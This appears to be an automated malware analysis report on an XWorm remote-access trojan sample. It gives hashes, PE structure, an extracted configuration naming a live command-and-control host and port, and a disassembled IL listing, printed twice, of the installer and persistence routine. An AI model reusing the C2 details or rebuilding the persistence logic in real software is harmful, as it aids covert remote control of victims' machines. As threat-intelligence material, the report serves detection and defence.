Malicious
Malicious

0756de1b9c8f99dcb477d7b49feae2a0

PE Executable
|
MD5: 0756de1b9c8f99dcb477d7b49feae2a0
|
Size: 34.82 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
0756de1b9c8f99dcb477d7b49feae2a0
Sha1
872a708c000d1aee5a20a2c59247bec980e62528
Sha256
b641d47cd7188049c6a4cc259919d95d84205f4d4e6b32d5580b1c462a87cf30
Sha384
90dbefcb12f4b4f98f26e25076fd0f6c721e9a2886518beeea0e320e90d1ab403e70b1069b4761057506aaa406b95e2d
Sha512
612fb7be8855b940bf0cf1b96e5d2a2c0d2abd7e617bca4fe40fd4f6e16e9d63d9efd4e1dd640f6ab1da28faf99618820050600123205d2872392ab778e52cc1
SSDeep
384:Q0CI3+xD4baa2yf9SnR2VLL5HsUwQ3wfk/PVRipkFTBLT4ZwYGDcvw9IkuisbuFP:PCi+xDG2sVXxsU7gEVfFp9jFOjhJ/W5
TLSH
4AF23B09F7904355D9EEAFF169B361090231E607D923EB5E0CE884DA2F27AC0CD527E6

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

ITX7C9q7DCe3o1J5

Hosts

cx3fbungd.localto.net

Port

1878

KEY

<XWormmm>

USBNM

Lucky

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

XWormClient.exe

Full Name

XWormClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWormClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWormClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

172

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

208

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

XWormClient.exe

Full Name

XWormClient.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

XWormClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XWormClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

172

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

208

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Group call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Group ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

ITX7C9q7DCe3o1J5

CnC

cx3fbungd.localto.net

Port

1878

0756de1b9c8f99dcb477d7b49feae2a0 (34.82 KB)
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